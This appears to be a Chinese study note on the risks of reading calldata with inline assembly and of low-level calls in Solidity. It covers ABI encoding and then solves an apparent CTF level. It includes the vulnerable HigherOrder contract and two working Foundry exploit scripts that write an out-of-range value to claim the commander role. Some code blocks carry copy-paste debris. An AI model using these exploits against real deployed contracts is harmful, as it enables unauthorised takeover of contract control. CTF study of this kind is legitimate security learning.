关于合约使用assembly操作calldata以及low-level call接受数据的弊端:

[TOC]

大部分合约的编写完全可以通过solidity完成,但是内联汇编是Solidity的一个重要补充,它让你更深入地理解底层操作和合约优化。合约在使用 assembly 操作 calldata 或使用 低级调用(call, delegatecall 等)接收数据 时,确实能实现一些底层的灵活性,但也引入了一些严重的安全风险、可维护性问题和兼容性弊端

assembly 操作 calldata 的弊端

  1. assembly 中直接使用 calldataload 加载数据时,是不做类型检查的。如果数据位置或大小不符合预期,会读取到错误的值或导致合约异常。
1
2
3
assembly {
let val := calldataload(4)
}

如果 msg.data 长度不足,则 val 会是 0,或是无意义数据。

  1. 容易受 ABI 编码方式影响

calldata 的格式遵循 ABI 编码规范。例如 uint8 也会被编码成 32 字节(左填零)。开发者在 assembly 中操作时一旦理解有误,就容易产生错误。

1
2
3
4
5
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}

​ 本意是接收 uint8 参数并写入 treasury。但由于 calldataload(4) 直接读取 32 字节,而不是仅取 uint8,攻击者可通过构造 calldata(例如 uint256 超过 255)来绕过检查逻辑并修改重要状态。虽然函数参数是 uint8,但通过 calldata 注入可以写入超过 uint8 范围的数据(例如 0xff255、甚至更高)。

低级 call 的弊端

  1. 低级 call 返回的是 (bool success, bytes memory returnData),不会像普通函数调用一样在失败时自动 revert。开发者若未手动检查 success,将继续执行,这可能导致状态被错误修改。
1
2
(bool success, ) = address(target).call(data);
// 若未判断 success,会忽略失败继续执行
  1. 参数位置和格式必须精确匹配 ABI

使用 call 时传入的 data 必须完全符合目标函数的 ABI,否则调用可能失败或执行逻辑被绕过。例如,如果你将 uint8 的函数用 uint256 编码,就可能被攻击利用。

call 的基本语法:

1
(bool success, bytes memory data) = address(target).call{value: amount, gas: gasLimit}(payload);
参数 说明
address(target) 要调用的合约地址
.call{value: ..., gas: ...} (可选)发送 ETH、限制 gas
(payload) 传入的 ABI 编码数据(通常用 abi.encodeWithSelector 构造)
success 调用是否成功
data 返回的原始数据(类型为 bytes memory

abi.encodeWithSignature(...) 返回的是一个 bytes 类型的动态数组,它本质上就是一个 byte 数组,即 bytes memory,你当然可以通过索引(data[i])访问和修改它的每一个字节。这会生成一个完整的 calldata:

  • 前 4 字节:函数选择器(registerTreasury() 的 keccak256 hash 前四位)
  • 后 32 字节:参数部分,但 ABI 会扩展成一个完整的 uint256 占满 32 字节(高位为 0)

所以总共 4 + 32 = 36 字节的数组。你能通过索引 data[0] ... data[35] 访问和修改任何一位。

在 Solidity 的 ABI 编码规则中,可变长度类型(如 bytes, string, arrays)在函数调用中会被按”offset + length + data” 结构编码,函数前四个字节是 selector,后面每个参数占 32 字节,偏移量就是指向该参数数据起始位置的 相对位置(从整个 calldata 开头算起)


✅ 以 function flipSwitch(bytes memory _data) 为例:

这函数有一个 bytes 类型参数,flipSwitch(bytes) 的 ABI 编码如下结构:

1
2
3
4
5
python复制编辑| 0x00 - 0x03 | 4 bytes: 函数选择器 selector(flipSwitch(bytes)) |
| 0x04 - 0x23 | 32 bytes: 第一个参数 `_data` 的偏移量 offset (通常是 0x20 or 0x60) |
| 0x24 - ... | 如果有多个参数,这里放第二个参数的 offset 或值 |
| offset | 从偏移位置开始:_data 的长度 (32 bytes) |
| offset+32 | 实际的数据(按 32 字节对齐) |

👇 为什么是 0x60

这是因为在 ABI 编码中:

  • 4 bytes 是函数 selector:30c13ade
  • 后面每个参数都占用 32 bytes
  • 可变长度参数不在参数位置放值,而是放个偏移(指向 data 起始位置)

所以:

1
2
3
4
python复制编辑offset = 4 bytes selector
+ 32 bytes offset 指针(指向 bytes 的位置)
= 0x04 + 0x20 = 0x24(但向上对齐成 32 的倍数)
→ ABI 对齐要求偏移必须是 32 的倍数,所以下一个就是 0x60

但实际上更常见的是:

  • 如果你只有一个参数(bytes 类型),偏移就是 **0x20**;
  • 你看到的是 0x60,说明还有别的数据(如构造时的数据前缀或 padding),或者是你手动构造时加了偏移。

✅ 举个具体例子

1
2
3
solidity复制编辑contract Target {
function flipSwitch(bytes memory data) public { ... }
}

你调用:

1
2
3
4
5
solidity


复制编辑
target.flipSwitch(abi.encodeWithSignature("turnSwitchOn()"));

会生成这样的 calldata:

偏移(bytes) 内容
0x00 - 0x03 flipSwitch(bytes) 的 selector,例如 0x30c13ade
0x04 - 0x23 0x20 (bytes 参数的偏移量,从0x20开始)
0x24 - 0x43 0x04 (bytes 长度)
0x44 - 0x47 0x76227e12 (turnSwitchOn() 的 selector)

🧠 如果是 0x60 偏移

说明在你构造的 calldata 中,前面可能还插入了额外字段(比如模拟多个参数的布局),或者用了底层工具手动构造了复杂的数据布局。


✅ 总结

  • Solidity 函数参数按 ABI 编码规范进行组织;
  • 对于 bytes 类型这样的动态参数,不直接放内容,而是放“偏移地址”;
  • 偏移地址是从 calldata 开头起算的;
  • 一般只有一个动态参数时,偏移是 0x20
  • 出现 0x60 说明你传入的 calldata 中存在更多结构,比如多参数或 padding。

比较memory和calldata

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Compare {
// calldata:更省 gas
function cal(uint[] calldata arr) external pure returns (uint) {
return arr[0]; // ✅ 可读取
// arr[0] = 1; // ❌ 报错,不能修改
}

// memory:可修改,但更贵
function mem(uint[] memory arr) public pure returns (uint) {
arr[0] = 123; // ✅ 可写
return arr[0];
}
}

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
address public commander;

uint256 public treasury;

function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}

function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

import {Script} from "forge-std/Script.sol";
import {HigherOrder} from "../src/contract.sol";

contract Attack1 is Script {
function run() external {
HigherOrder higherOrder = HigherOrder(
0x45B37F77FFF0153afF1e723a5EdB38157d1fd713
);
vm.startBroadcast();
address(higherOrder).call(
abi.encodeWithSignature("registerTreasury(uint8)", 256)
);
address(higherOrder).call(abi.encodeWithSignature("claimLeadership()"));
require(address(higherOrder.commander()) == msg.sender, "hack failed");
vm.stopBroadcast();
}
}//正常构造大于 uint8 范围的 calldata 因为calldata是32字节的,不受函数参数类型大小的影响。

contract Attack2 is Script {
function run() external {
HigherOrder higherOrder = HigherOrder(
0x45B37F77FFF0153afF1e723a5EdB38157d1fd713
);
vm.startBroadcast();
bytes memory data = abi.encodeWithSignature(
"registerTreasury(uint8)",
uint8(6)
);
data[21] = hex"FF";
address(higherOrder).call(data);
address(higherOrder).call(abi.encodeWithSignature("claimLeadership()"));
require(address(higherOrder.commander()) == msg.sender, "hack failed");
vm.stopBroadcast();
}
}//正常构造小于 uint8 范围的 calldata,再篡改calldata的字节
//两种解题思路,第一种比较直接。但是第二种值得学习一下。